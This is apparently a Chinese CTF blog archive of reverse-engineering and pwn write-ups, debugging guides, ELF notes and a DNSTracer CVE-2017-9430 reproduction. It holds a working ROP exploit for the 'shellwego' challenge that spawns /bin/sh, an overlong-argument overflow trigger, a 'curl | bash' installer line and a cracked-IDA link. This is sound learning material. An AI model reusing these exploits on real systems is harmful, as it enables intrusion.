wubba lubba dub dub.
post @ 2023-06-08

0x1 分析

核心代码位于flag,进入发现前面为混淆干扰,最后按已知seed生成伪随机数

img

0x2 脚本

注意有个坑是windows生成的随机数和ubuntu下生成的不一样,用ubuntu生成结果正确

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdlib.h>
#include <stdio.h>
#include <time.h>

void main(void)
{
srand(0x2766);
for (int i = 0; i < 13; i++)
{
printf("%d", rand() % 8 + 1);
}
printf("\n");
}
# NSSCTF{5353316611126}
Read More
post @ 2023-06-03

安卓so文件逆向

0x1 分析lib.so文件

IDA打开 lib/arm64-v8a/libapp.so
看看有没有跟42比较大小的(检测输入长度是否与flag长度相同)
等待加载完成后 Alt + T 搜索 cmp
Ctrl + F 搜索#0x2a (即42) 发现还真有
img

0x2 函数分析

进入函数 F5 反汇编
观察到一个长度刚好为42的数组赋值
接下来程序大概逻辑: 遍历数组 每个数除以2 与0x66异或 再作比较
可以发现数组内全是偶数所以不会触发115行的条件
img

0x3 脚本

1
2
3
4
5
6
7
8
9
l=[0,20,14,2,58,190,160,6,160,166,160,190,162,150,166,6,8,8,150,164,162,
164,162,150,190,160,170,160,150,14,6,0,10,4,172,164,168,10,6,188,172,54]

res=''
for i in l:
res+=chr((i//2)^0x66)

print(res)
# flag{96e65697-5ebb-4747-9636-aefcd042ce80}
Read More
post @ 2023-06-03

0x1 程序分析

发现程序会调用strcmp 还有一个42长的byte数组(可见CISCN2023 MOVEASIDE WRITEUP(1)
即使都是mov指令,调用库函数还是要去到对应plt的 因此在strcmp@plt处下断点
然后用IDA GDB动态调试 方法:IDA远程连接GDB调试
img

0x2 动态调试

F4 和 F8 调试执行 如果遇到Exception 点击Yes (pass to app) 注意要在gdbserver命令行输入flag内容 (我这里输入的是’0123456789abcdef{-}’
img
执行到strcmp@plt处 可以看到栈上的参数: 086001540860014c
img
按G 跳转发现一个为0x51一个为0x67 说明是一个一个字符比较的 0x67即内置数组的第0位数据 说明0x51为输入处理后的结果 即字符0对应0x51
img
同理可以获取到各个字符对应的字节映射 (手动或者python脚本调用idaapi,其实’flag{-}’这些字符对应关系不用试也就已知)

0x3 flag还原脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
raw = [0x67, 0x9D, 0x60, 0x66, 0x8A, 0x56, 0x49, 0x50, 0x65, 0x65,
0x60, 0x55, 0x64, 0x5C, 0x65, 0x48, 0x50, 0x51, 0x5C, 0x55,
0x67, 0x51, 0x57, 0x5C, 0x49, 0x67, 0x54, 0x63, 0x5C, 0x54,
0x62, 0x52, 0x56, 0x54, 0x54, 0x50, 0x49, 0x53, 0x52, 0x52,
0x56, 0x8C]

d={0x51: "0", 0x50: "1", 0x53: "2", 0x52: "3", 0x55: "4",
0x54: "5", 0x57: "6", 0x56: "7", 0x49: "8", 0x48: "9",
0x60: "a", 0x63: "b", 0x62: "c", 0x65: "d", 0x64: "e", 0x67: "f",
0x5c: "-", 0x8a: "{", 0x8c: "}",0x9d: "l", 0x66: "g"}

res=''
for i in raw:
res+=d[i]

print(res)
# flag{781dda4e-d910-4f06-8f5b-5c3755182337}
Read More
post @ 2023-06-02

一个汇编全是mov的程序,第一次见

0x1 失败尝试

搜索一下发现是通过movfuscator加密混淆过的,RITSEC CTF 2018中有一道类似的题目
发现有个解混淆工具 demovfuscator
下载按指示安装使用后再看汇编,还是一堆mov,解混淆不了一点,不知道是不是我的使用姿势不太对
img
img

0x2 分析

Shift+F12 查看字符串

发现一个提示输入字符串ok input your flag:和一个可疑字符串VIPeeUd\\eHPQ\\UgQW\\IgTc\\TbRVTTPISRRV
img

可以推测如果输入正确则会输出’yes!’
img

进入到可疑字符串区域

转成数组发现刚好是42个byte(flag长度),第一想法应该是做了什么位运算得到的 而且很直观的是 四个 \ 正好对应四个 -,说明是一一对应关系(很重要,后面会用到)
img

Shift+E Export Data

复制数据内容
img

对比分析

我们已知的flag结果为 开头的’flag{‘,结尾的’}’ 以及中间的四个’-‘
与数组中的对应位进行二进制比较: 发现还是有些规律的 bit0取反,bit1,2,3保持不变

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
idx 0:   0110 0111   0x67
idx 0: 0110 0110 'f'

idx 1: 1001 1101 0x9d
idx 1: 0110 1100 'l'

idx 2: 0110 0000 0x60
idx 2: 0110 0001 'a'

idx 3: 0110 0110 0x66
idx 3: 0110 0111 'g'

idx 4: 1000 1010 0x8a
idx 4: 0111 1011 '{'

idx 13: 0101 1100 0x5c
idx 13: 0010 1101 '-'

idx 41: 1000 1100 0x8c
idx 41: 0111 1101 '}'

0x3 exp

推断所有可能

字节范围内遍历异或,查看所有16进制可见字符的可能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# flag的16进制字母表
alphabet = "0123456789abcdef"
# 从IDA获取的42长的byte数组
raw = [0x67, 0x9D, 0x60, 0x66, 0x8A, 0x56, 0x49, 0x50, 0x65, 0x65,
0x60, 0x55, 0x64, 0x5C, 0x65, 0x48, 0x50, 0x51, 0x5C, 0x55,
0x67, 0x51, 0x57, 0x5C, 0x49, 0x67, 0x54, 0x63, 0x5C, 0x54,
0x62, 0x52, 0x56, 0x54, 0x54, 0x50, 0x49, 0x53, 0x52, 0x52,
0x56, 0x8C]

# 遍历查看{括号中的可能内容}
for j in range(5, 41):
print(f"{j}, {hex(raw[j])}:", end=' ')
# 0x5c对应'-'
if raw[j] == 0x5c:
print('-', end=' ')
# 遍历0x00-0xff 只取其中的奇数作亦或
for i in range(1, 256, 2):
s = chr(raw[j] ^ i)
#在字母表内 而且运算先后 低1,2,3bit位相同
if s in alphabet and ord(s) & 0xe == raw[j] & 0xe:
print(s, end=' ')
print()

输出如下 可见可以暴力枚举 但也有2^23的数量 考虑进一步优化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
5, 0x56: 7 
6, 0x49: 8
7, 0x50: a 1
8, 0x65: d 4
9, 0x65: d 4
10, 0x60: a 1
11, 0x55: d 4
12, 0x64: e 5
13, 0x5c: -
14, 0x65: d 4
15, 0x48: 9
16, 0x50: a 1
17, 0x51: 0
18, 0x5c: -
19, 0x55: d 4
20, 0x67: f 6
21, 0x51: 0
22, 0x57: f 6
23, 0x5c: -
24, 0x49: 8
25, 0x67: f 6
26, 0x54: e 5
27, 0x63: b 2
28, 0x5c: -
29, 0x54: e 5
30, 0x62: c 3
31, 0x52: c 3
32, 0x56: 7
33, 0x54: e 5
34, 0x54: e 5
35, 0x50: a 1
36, 0x49: 8
37, 0x53: b 2
38, 0x52: c 3
39, 0x52: c 3
40, 0x56: 7

缩小可能范围

前面推测得到两个数组直接应该是一一映射的关系,即特定的输入对应特定的输出
由于我们已经知道了 fa 对应的输入为0x67和0x9d, 那么0x57就应该对应61
同理 如果0x54对应e 那么所有0x54都对应e
实际上也就并不需要枚举2^23种可能 只需确定[b,2] [c,3] [d,4] [e,5]的对应关系即2^4=16种可能

爆破脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *

# flag的16进制字母表
alphabet = "0123456789abcdef"
# 从IDA获取的42长的byte数组
raw = [0x67, 0x9D, 0x60, 0x66, 0x8A, 0x56, 0x49, 0x50, 0x65, 0x65,
0x60, 0x55, 0x64, 0x5C, 0x65, 0x48, 0x50, 0x51, 0x5C, 0x55,
0x67, 0x51, 0x57, 0x5C, 0x49, 0x67, 0x54, 0x63, 0x5C, 0x54,
0x62, 0x52, 0x56, 0x54, 0x54, 0x50, 0x49, 0x53, 0x52, 0x52,
0x56, 0x8C]

d = {0x67: ["f"], 0x9d: ["l"], 0x60: ["a"],
0x66: ["g"], 0x5c: ["-"], 0x8a: ["{"], 0x8c: ["}"]}
# 遍历查看{括号中的可能内容}
for j in range(5, 41):
# 0x5c对应'-'
if raw[j] in d.keys():
continue
# 遍历0x00-0xff 只取其中的奇数作亦或
t = []
for i in range(1, 256, 2):
s = chr(raw[j] ^ i)
# 在字母表内 而且运算先后 低1,2,3bit位相同 且未出现过
if s in alphabet and ord(s) & 0xe == raw[j] & 0xe and s not in "flag{-}":
t.append(s)
d[raw[j]] = t

print(d)

for i in raw:
print(f"{hex(i)} : {d[i]}")

# 16种可能
ds = [
{0x63: 'b', 0x53: '2', 0x62: 'c', 0x52: '3', 0x65: 'd', 0x55: '4', 0x64: 'e', 0x54: '5'},
{0x63: 'b', 0x53: '2', 0x62: 'c', 0x52: '3', 0x65: 'd', 0x55: '4', 0x64: '5', 0x54: 'e'},

{0x63: 'b', 0x53: '2', 0x62: 'c', 0x52: '3', 0x65: '4', 0x55: 'd', 0x64: 'e', 0x54: '5'},
{0x63: 'b', 0x53: '2', 0x62: 'c', 0x52: '3', 0x65: '4', 0x55: 'd', 0x64: '5', 0x54: 'e'},


{0x63: 'b', 0x53: '2', 0x62: '3', 0x52: 'c', 0x65: 'd', 0x55: '4', 0x64: 'e', 0x54: '5'},
{0x63: 'b', 0x53: '2', 0x62: '3', 0x52: 'c', 0x65: 'd', 0x55: '4', 0x64: '5', 0x54: 'e'},

{0x63: 'b', 0x53: '2', 0x62: '3', 0x52: 'c', 0x65: '4', 0x55: 'd', 0x64: 'e', 0x54: '5'},
{0x63: 'b', 0x53: '2', 0x62: '3', 0x52: 'c', 0x65: '4', 0x55: 'd', 0x64: '5', 0x54: 'e'},



{0x63: '2', 0x53: 'b', 0x62: 'c', 0x52: '3', 0x65: 'd', 0x55: '4', 0x64: 'e', 0x54: '5'},
{0x63: '2', 0x53: 'b', 0x62: 'c', 0x52: '3', 0x65: 'd', 0x55: '4', 0x64: '5', 0x54: 'e'},

{0x63: '2', 0x53: 'b', 0x62: 'c', 0x52: '3', 0x65: '4', 0x55: 'd', 0x64: 'e', 0x54: '5'},
{0x63: '2', 0x53: 'b', 0x62: 'c', 0x52: '3', 0x65: '4', 0x55: 'd', 0x64: '5', 0x54: 'e'},


{0x63: '2', 0x53: 'b', 0x62: '3', 0x52: 'c', 0x65: 'd', 0x55: '4', 0x64: 'e', 0x54: '5'},
{0x63: '2', 0x53: 'b', 0x62: '3', 0x52: 'c', 0x65: 'd', 0x55: '4', 0x64: '5', 0x54: 'e'},

{0x63: '2', 0x53: 'b', 0x62: '3', 0x52: 'c', 0x65: '4', 0x55: 'd', 0x64: 'e', 0x54: '5'},
{0x63: '2', 0x53: 'b', 0x62: '3', 0x52: 'c', 0x65: '4', 0x55: 'd', 0x64: '5', 0x54: 'e'},

]

for i in range(16):
flag=''
for j in raw:
if len(d[j])==1:
flag+=d[j][0]
else:
flag+=ds[i][j]
print(flag)
proc=process('./moveAside')
proc.sendlineafter(b'flag:\n', flag.encode())
# 接收返回的输入字符串
proc.recvline()
# 超过0.02秒则说明没有回显,停止接收
res = proc.recv(timeout=0.02)
if b'yes!' in res:
success('\n')
success(flag)
success('\n')
exit(0)
proc.kill()

img

Read More
post @ 2023-06-01

0x1 linux 下载 gdbserver

1
sudo apt-get install gdbserver

0x2 启动 gdbserver

9999为你指定的端口号 bin为你想要调试的可执行文件

1
gdbserver 0.0.0.0:9999 ./bin

0x3 IDA配置

选择工具栏 Debugger -> Select debugger 或直接在图标导航栏
选择 Remote GDB Debugger
img
按F9调试,显示配置信息
parameters为程序执行所需要的参数 没有则不填
hostname填gdbserver运行所在的ip,若是本机则为127.0.0.1,若是虚拟机或其他,需查看ip地址再填入
port为刚刚gdbserver运行指定的端口号
点击OK 即可进入调试
img

0x4 调试执行方法/快捷键

可参考Debugger工具栏下的各调试命令
F7 单步进入
F8 单步跳过
F4 执行到断点
F9 开始调试
img

Read More
post @ 2023-05-31

这题是go语言程序 感觉逆向的占比大于pwn…

0x1 checksec 查看安全保护

img
没开PIE, 而且可以发现程序是静态链接的

0x2 ida 分析

img

无符号表,难以分析,尝试利用

0x3 恢复符号表

0x3-1 查看程序go版本

两种方式:

  1. Shift+F12打开字符串窗口,搜索go 可以看到版本信息
  2. 在命令行执行 strings shellwego | grep "go"

可以看到版本为go1.20.4
img

0x3-2 尝试利用IDA signature库进行比对恢复

IDA 可以根据选定signature库中的函数签名特征与当前程序各函数进行匹配 从而恢复函数名

  1. Shift+F5打开Signatures窗口
  2. 右键点击 Apply new signature...
  3. 点击 Search 搜索 go
  4. 发现只有一个 go_std 仅可用于 go1.10-1.16, 不可行
    img

0x3-3 搜索 ida go1.20 signature

发现工具 GoReSym (也可以试试其他符号恢复方法)

使用:

  1. 下载程序 Release
  2. 执行并生成结果json文件 GoReSym.exe -t -d -p /path/to/shellwego > output.json
  3. 下载IDA脚本文件 goresym_rename.py
  4. IDA 点击 File -> Script File 选择 goresym_rename.py 再选择刚才输出的 output.json IDA就能自动恢复函数名了

img

前后对比可以看到恢复效果非常理想

img

0x4 程序分析

0x4-1 进入main_main函数,可以看到程序先输出 ciscnshell$,再获取输入,然后调用函数 main_unk_func0b05

img

0x4-2 进入main_unk_func0b05函数

  • 发现很多cmp和类似字符串16进制的dword
    点击16进制数再按R键,显示字符串 但由于数据是以dword解释的,所以字符串颠倒
  • 尝试执行程序发现输出Cert Is A Must 所以先来看cert命令 按照程序流程可见应该还要输入 nAcDsMic+N 也就是 nAcDsMicN
  • 但是如果只输入 cert nAcDsMicN 会出现提示 Missing parameter, 明显是要三个参数
  • 再看函数流图发现之后去到函数main_unk_func0b01
    img

0x4-3 进入main_unk_func0b01函数

同样方法转换字符串,可以发现大致流程:

  1. key=”F1nallB1B1rd3K3y”
  2. rc4 加密
  3. base64 加密
  4. 与字符串”JLIX8pbSvYZu/WaG”比较,若相同则认证成功
    img

0x4-4 cert me in

很明了了,先base64解密成byte数组, 再用已知key通过rc4解密 最后得到 S33UAga1n@#!
执行程序输入 cert nAcDsMicN S33UAga1n@#!, 成功通过验证

0x4-5 回到main_unk_func0b05函数

尝试执行函数中提到的不同命令,可以cat flag但是是假的flag
发现仅echo命令存在可能漏洞(main_unk_func0b04中)

0x4-6 进入main_unk_func0b04函数

img
结合动态调试发现:

  1. echo后面的单个连续单词长度不能超过0x200
  2. 单词会去掉空格拼接起来复制到栈上, 存在栈溢出漏洞
  3. 遇到+不复制

0x5 exploit

直接栈溢出到ret_addr会出现Segmentation Fault,调试分析问题出现在指令movzx edx, byte ptr [rbx+rax]
img

原因rbx从栈上取了一个地址值,而我们改写了栈使其不再是有效地址值,所以解析的时候会报段错误
绕开方式: 刚好遇到 + 不会复制,也就保留原来的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
context.log_level='debug'

filename = './shellwego'
proc = process(filename)
belf = ELF(filename)

gscript = '''
b * 0x0000000004C1882
c
'''
# gdb.attach(proc, gdbscript=gscript)

# gadget 查看pop_ret对,用于构造pop链
poprdi_ret = 0x444fec
poprsi_ret = 0x41e818
poprdx_ret = 0x49e11d
poprax_ret = 0x40d9e6
syscall = 0x40328c

proc.sendlineafter(b'ciscnshell$ ', b'cert nAcDsMicN S33UAga1n@#!')

#每个单词长度不超过0x200
#payload具体溢出长度可通过动态调试观察得到
payload = b'echo '+b'h'*0x100+b' '+b'h'*0x103

# 避开影响地址
payload += b'+' * 8

# 调用syscall 0 即read 到0x59FE70 上
# 具体syscall调用规则查看:https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md
payload += p64(0xdeadbeefdeadbeef) * 3
payload += p64(poprdi_ret) + p64(0)
payload += p64(poprax_ret) + p64(0)
payload += p64(poprsi_ret) + p64(0x59FE70)
payload += p64(poprdx_ret) + p64(20)
payload += p64(syscall)

#syscall 59 即execve
payload += p64(poprax_ret) + p64(59)
payload += p64(poprdi_ret) + p64(0x59FE70)
payload += p64(poprsi_ret) + p64(0)
payload += p64(poprdx_ret) + p64(0)
payload += p64(syscall)

proc.sendlineafter(b'# ', payload)
proc.send(b"/bin/sh\x00")
proc.interactive()
pause()

Read More

刚开始学习pwn的时候大部分人都会遇见由于libc版本与程序要求不匹配而导致的无法调试或运行的大坑。这是因为大部分程序是动态链接生成的,在首次执行到某些系统函数的时候会先在libc.so (shared object) 当中找到对应函数并执行,所以连接到错误版本的glibc,会出现攻击脚本失败,调试过程出错等情况。查看程序当前使用的libc版本的命令:ldd ./bin

解决方法如下:

0x1 glibc-all-in-one下载安装

1
2
3
4
git clone https://github.com/matrix1001/glibc-all-in-one.git
cd glibc-all-in-one/

python3 update_list

可以看到有list, old_list; download, download_old 文件

0x2 查看所有glibc版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
cat list
(输出:
2.23-0ubuntu11.3_amd64
2.23-0ubuntu11.3_i386
2.23-0ubuntu3_amd64
2.23-0ubuntu3_i386
2.27-3ubuntu1.5_amd64
2.27-3ubuntu1.5_i386
...

cat old_list
(输出:
2.21-0ubuntu4.3_amd64
2.21-0ubuntu4.3_i386
2.21-0ubuntu4_amd64
2.21-0ubuntu4_i386
2.24-3ubuntu1_amd64
2.24-3ubuntu1_i386
...

0x3 下载所需版本glibc(32位程序用 *_i386 64位用 *_amd64)

文件中download对应下载list中的glibc, download_old对应下载old_list中的glibc
下载后的glibc在./libs目录中

1
2
./download 2.23-0ubuntu3_amd64
./download_old 2.24-3ubuntu1_i386

0x4 patchelf 下载安装

1
2
3
4
5
6
7
8
git clone https://github.com/NixOS/patchelf.git
cd patchelf

sudo apt-get install autoconf automake libtool
./boostrap.sh

./configure
make && make install

0x5 更换目标程序libc为指定libc (./bin为你想运行的elf文件)

1
2
3
4
5
patchelf --set-interpreter glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-linux-x86-64.so.2 ./bin

libpath=$(patchelf --print-needed ./bin) #获取当前连接的libc路径名称
patchelf --replace-needed "$libpath" glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so ./bin #更换 第一个参数是libc*.so的目录, 每个版本名称不一样,仔细查看

0x6 可能问题: patchelf报错 version GLIBC_2.34’ not found

解决方法(稍为繁琐):在ubuntu18或ubuntu16中用gcc (gcc版本为7-) 编译,再将文件导入当前系统并进行以上patchelf操作,就可以正常执行了
具体原因笔者还没找到,可能是因为你当前linux系统版本较高,对应的gcc版本高,编译后的二进制文件无法与过早的glibc版本连接,但我尝试过在kali 6.0.0 (gcc版本为12.2.0) 中下载低版本gcc进行编译以及多种方式,还是同样的报错结果(如果有大神发现具体原因和更简便的解决方法能告诉我吗,感激)

Read More
post @ 2023-05-28

ELF文件

从源码到可执行文件

预处理 -> 编译 -> 汇编 -> 链接

1
2
3
4
gcc -E filename.c > filename.i   ; preprocessed source
gcc -S filename.i > filename.s ; assembly code
gcc -c filename.s > filename.o ; object file
gcc filename.o > filename.out ; binary executable

img

链接

静态链接 (编译后完成)

可移植性强,文件大

1
gcc file.c -static -o bin

img

1
2
3
4
5
6
7
8
9
10
11
12
gef➤  vmmap 
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x00000000400000 0x00000000401000 0x00000000000000 r-- /usr/ctf/pwn/tests/bin_static
0x00000000401000 0x00000000479000 0x00000000001000 r-x /usr/ctf/pwn/tests/bin_static
0x00000000479000 0x000000004a0000 0x00000000079000 r-- /usr/ctf/pwn/tests/bin_static
0x000000004a0000 0x000000004a4000 0x000000000a0000 r-- /usr/ctf/pwn/tests/bin_static
0x000000004a4000 0x000000004a7000 0x000000000a4000 rw- /usr/ctf/pwn/tests/bin_static
0x000000004a7000 0x000000004ce000 0x00000000000000 rw- [heap]
0x007ffff7ff9000 0x007ffff7ffd000 0x00000000000000 r-- [vvar]
0x007ffff7ffd000 0x007ffff7fff000 0x00000000000000 r-x [vdso]
0x007ffffffde000 0x007ffffffff000 0x00000000000000 rw- [stack]

动态链接 (程序加载后完成)

可移植性差,文件小

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
gef➤  vmmap 
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x00555555554000 0x00555555555000 0x00000000000000 r-- /usr/ctf/pwn/tests/a.out
0x00555555555000 0x00555555556000 0x00000000001000 r-x /usr/ctf/pwn/tests/a.out
0x00555555556000 0x00555555557000 0x00000000002000 r-- /usr/ctf/pwn/tests/a.out
0x00555555557000 0x00555555558000 0x00000000002000 r-- /usr/ctf/pwn/tests/a.out
0x00555555558000 0x00555555559000 0x00000000003000 rw- /usr/ctf/pwn/tests/a.out
0x007ffff7dc3000 0x007ffff7dc6000 0x00000000000000 rw-
0x007ffff7dc6000 0x007ffff7dec000 0x00000000000000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x007ffff7dec000 0x007ffff7f41000 0x00000000026000 r-x /usr/lib/x86_64-linux-gnu/libc.so.6
0x007ffff7f41000 0x007ffff7f94000 0x0000000017b000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x007ffff7f94000 0x007ffff7f98000 0x000000001ce000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x007ffff7f98000 0x007ffff7f9a000 0x000000001d2000 rw- /usr/lib/x86_64-linux-gnu/libc.so.6
0x007ffff7f9a000 0x007ffff7fa7000 0x00000000000000 rw-
0x007ffff7fc3000 0x007ffff7fc5000 0x00000000000000 rw-
0x007ffff7fc5000 0x007ffff7fc9000 0x00000000000000 r-- [vvar]
0x007ffff7fc9000 0x007ffff7fcb000 0x00000000000000 r-x [vdso]
0x007ffff7fcb000 0x007ffff7fcc000 0x00000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x007ffff7fcc000 0x007ffff7ff1000 0x00000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x007ffff7ff1000 0x007ffff7ffb000 0x00000000026000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x007ffff7ffb000 0x007ffff7ffd000 0x00000000030000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x007ffff7ffd000 0x007ffff7fff000 0x00000000032000 rw- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x007ffffffde000 0x007ffffffff000 0x00000000000000 rw- [stack]

重要节信息

Section 说明 权限
.init 初始化代码,先于main执行 R_X
.fini 结束代码,在最后执行 R_X
.text 程序汇编指令 R_X
.rodata 存放只读数据,一般是字符串常量(代码中直接使用的字符串也算) R__
.data 保存已经初始化(非零初始化)的全局变量和静态局部变量 RW_
.bss 未初始化(零初始化)的全局变量和静态局部变量保存在bss段 RW_
.got Global Offset Table 存放外部符号的实际偏移 RW_
.got.plt 和.plt共同发挥作用,存放.plt所需的偏移量 RW_ | R__ (full-RELRO)
.plt Procedure Linkage Table程序链接表 作为跳板调用外部函数 要么在.got.plt节中拿到地址,并跳转。要么当.got.plt没有所需地址的时候,触发链接器去找到所需的地址 R_X
.plt.got 仅当开启full-RELRO时出现 R_X
.dynamic 存储动态链接器的加载

img
img

调用外部函数时plt和got行为

调用外部函数,首先都跳转至对应PLT区,再跳转至对应GOT区

  • 若为首次调用该函数

    img

    1. 依次跳转到 printf@plt 和 printf@got
    2. 由got跳转至 printf@plt+6
    3. 跳转至_plt
    4. 再跳转到 resolve 函数获取 printf 函数的绝对地址,将地址存入got表(准确来说是.got.plt)并执行printf
  • 非首次调用

    call func -> func@plt -> func@got -> 真实地址

参考

https://hackthedeveloper.com/c-program-compilation-process/

https://www.matteomalvica.com/minutes/binary_analysis/

https://intezer.com/blog/research/executable-linkable-format-101-part1-sections-segments/

https://intezer.com/blog/malware-analysis/executable-linkable-format-101-part-4-dynamic-linking/

Read More
post @ 2023-05-26

PWN工具

工具

IDA

下载

IDA_pro_7.7_crack

使用

代码区、工具区、函数区

快捷键 功能
Shift+F12 查看字符串
Space 源码/流图 切换
a 切换为字符串
d 切换为data(byte, word, …)
g 跳转至地址
右键->Array 定义数组
Shift+E 导出数据
; 注释
F5 反编译
n 修改函数名、变量名
y 修改变量类型、函数返回值类型
/ 注释
x 查看函数调用

(更多功能在实战中探索…)

gef

下载

  1. 快速下载

    要求:GDB 8.0+ python 3.6+

    1
    2
    3
    bash -c "$(curl -fsSL https://gef.blah.cat/sh)"
    # 或
    bash -c "$(wget https://gef.blah.cat/sh -O -)"

    查看 ~/.gdbinit 如果有 source ~/.*gef*.py 说明安装成功

    1
    2
    cat ~/.gdbinit 
    source ~/.gef.py
  2. Git下载

    1
    2
    git clone https://github.com/hugsy/gef.git
    echo source `pwd`/gef/gef.py >> ~/.gdbinit

使用

直接执行 gdb <filename>

1
2
3
4
5
6
7
8
9
$ gdb bin

For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
90 commands loaded and 5 functions added for GDB 13.1 in 0.00ms using Python engine 3.11
Reading symbols from bin...
(No debugging symbols found in bin)
gef➤
命令 功能
aslr on/off 开启/关闭aslr
start 启动调试
b * [addr] 在addr处下断点
info b 查看所有断点(对应标号)
d [断点标号] 删去断点
c 执行到下个断点
ni [n] 执行一(n)个指令
n 执行单行代码(带源码情况下)
x/[size+type] [addr] 查看地址内容
context 界面展示指定内容
define 自定义命令
gef config 配置
stack [n] 查看栈上n行信息
heap [chunks|bins|arena] 查看堆信息

更多GDB基础命令:https://visualgdb.com/gdbreference/commands/

更多GEF实用命令:https://hugsy.github.io/gef/commands/aliases/

pwntools

下载

1
pip3 install pwntools

使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context.log_level='debug' # 详细调试信息

filename = './shellwego'
proc = process(filename) # 进程
belf = ELF(filename) # ELF信息

gscript = '''
b * 0x0000000004C1882
c
''' # gdb命令
gdb.attach(proc, gdbscript=gscript) # 挂载到gdb上调试

poprdi_ret = 0x444fec
poprsi_ret = 0x41e818
poprdx_ret = 0x49e11d
poprax_ret = 0x40d9e6
syscall = 0x40328c

proc.sendlineafter(b'ciscnshell$ ', b'cert nAcDsMicN S33UAga1n@#!') # 在接收到arg1之后发送arg2并换行

payload = b'echo '+b'h'*0x100+b' '+b'h'*0x103

proc.sendlineafter(b'# ', payload)
proc.send(b"/bin/sh\x00") # 发送
res = proc.recv() # 接收
proc.recvuntil(b'hhh') # 一直接收直到遇见arg1
proc.interactive() # 互动shell
pause() # 暂停程序(gdb调试需要)

使用文档:https://docs.pwntools.com/en/stable/about.html

ROPgadget

下载

1
pip3 install ROPgadget

one_gadget

下载

1
2
apt install ruby
gem install one_gadget

glibc_all_in_one

下载

1
2
git clone https://github.com/matrix1001/glibc-all-in-one
./update_list

使用

1
2
cat list
./download [target]

patchelf

下载

1
apt install patchelf

使用

1
2
patchelf --set-interpreter [ld.so] [filename]
patchelf --replace-needed [old_libc] [new_libc] [filename]
Read More
post @ 2023-05-13

CVE-2017-9430

  • 影响程序:DNSTracer < 1.9

  • 漏洞类型:栈缓冲区溢出

  • 产生原因:strcpy 前未作长度检查

漏洞复现

首先编译安装 DNSTracer:

1
2
3
4
5
$ wget http://www.mavetju.org/download/dnstracer-1.9.tar.gz
$ tar zxvf dnstracer-1.9.tar.gz
$ cd dnstracer-1.9
$ ./confugure
$ make && sudo make install

传入一段超长的字符串作为参数即可触发栈溢出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ dnstracer -v $(python -c 'print "A"*1025')
*** buffer overflow detected ***: dnstracer terminated
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x67377)[0xb757f377]
/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x68)[0xb760f6b8]
/lib/i386-linux-gnu/libc.so.6(+0xf58a8)[0xb760d8a8]
/lib/i386-linux-gnu/libc.so.6(+0xf4e9f)[0xb760ce9f]
dnstracer[0x8048f26]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf7)[0xb7530637]
dnstracer[0x804920a]
======= Memory map: ========
08048000-0804e000 r-xp 00000000 08:01 270483 /usr/local/bin/dnstracer
0804f000-08050000 r--p 00006000 08:01 270483 /usr/local/bin/dnstracer
08050000-08051000 rw-p 00007000 08:01 270483 /usr/local/bin/dnstracer
08051000-08053000 rw-p 00000000 00:00 0
084b6000-084d7000 rw-p 00000000 00:00 0 [heap]
b74e4000-b7500000 r-xp 00000000 08:01 394789 /lib/i386-linux-gnu/libgcc_s.so.1
b7500000-b7501000 rw-p 0001b000 08:01 394789 /lib/i386-linux-gnu/libgcc_s.so.1
b7518000-b76c8000 r-xp 00000000 08:01 394751 /lib/i386-linux-gnu/libc-2.23.so
b76c8000-b76ca000 r--p 001af000 08:01 394751 /lib/i386-linux-gnu/libc-2.23.so
b76ca000-b76cb000 rw-p 001b1000 08:01 394751 /lib/i386-linux-gnu/libc-2.23.so
b76cb000-b76ce000 rw-p 00000000 00:00 0
b76e4000-b76e7000 rw-p 00000000 00:00 0
b76e7000-b76e9000 r--p 00000000 00:00 0 [vvar]
b76e9000-b76eb000 r-xp 00000000 00:00 0 [vdso]
b76eb000-b770d000 r-xp 00000000 08:01 394723 /lib/i386-linux-gnu/ld-2.23.so
b770d000-b770e000 rw-p 00000000 00:00 0
b770e000-b770f000 r--p 00022000 08:01 394723 /lib/i386-linux-gnu/ld-2.23.so
b770f000-b7710000 rw-p 00023000 08:01 394723 /lib/i386-linux-gnu/ld-2.23.so
bf8e5000-bf907000 rw-p 00000000 00:00 0 [stack]
